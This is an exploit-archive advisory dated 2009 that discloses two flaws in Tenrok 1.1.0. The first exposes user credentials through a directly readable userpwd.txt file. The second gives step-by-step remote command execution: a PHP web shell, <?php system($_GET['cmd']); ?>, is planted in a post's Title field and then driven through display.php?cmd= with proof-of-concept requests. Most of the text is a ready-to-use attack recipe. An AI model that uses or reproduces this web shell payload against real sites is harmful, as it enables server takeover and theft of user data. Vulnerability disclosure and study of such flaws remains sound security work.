[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Tenrok 1.1.0 (UDD/RCE) Multiple Remote Vulnerabilities
# Published : 2009-08-05
# Author : SirGod
# Previous Title : MyBackup 1.4.0 (AFD/RFI) Multiple Remote Vulnerabilities
# Next Title : Irokez CMS 0.7.1 Remote SQL Injection Vulnerability 


#########################################################################
[+] Tenrok 1.1.0 (UDD/RCE) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#########################################################################

[+] Homepage : http://tenrok.com/

[+] Users Data Disclosure

 - PoC

    http://127.0.0.1/userpwd.txt

[+] Remote Command Execution

 - Must be logged in.

 - Go to

       http://127.0.0.1/post.php

   in the Title field write :

      <?php system($_GET['cmd']); ?>

   then go to

     http://127.0.0.1/display.php?cmd=[YOUR COMMAND]

   and execute your commands.

 - PoC

     http://127.0.0.1/display.php?cmd=whoami

#########################################################################

# www.Syue.com [2009-08-05]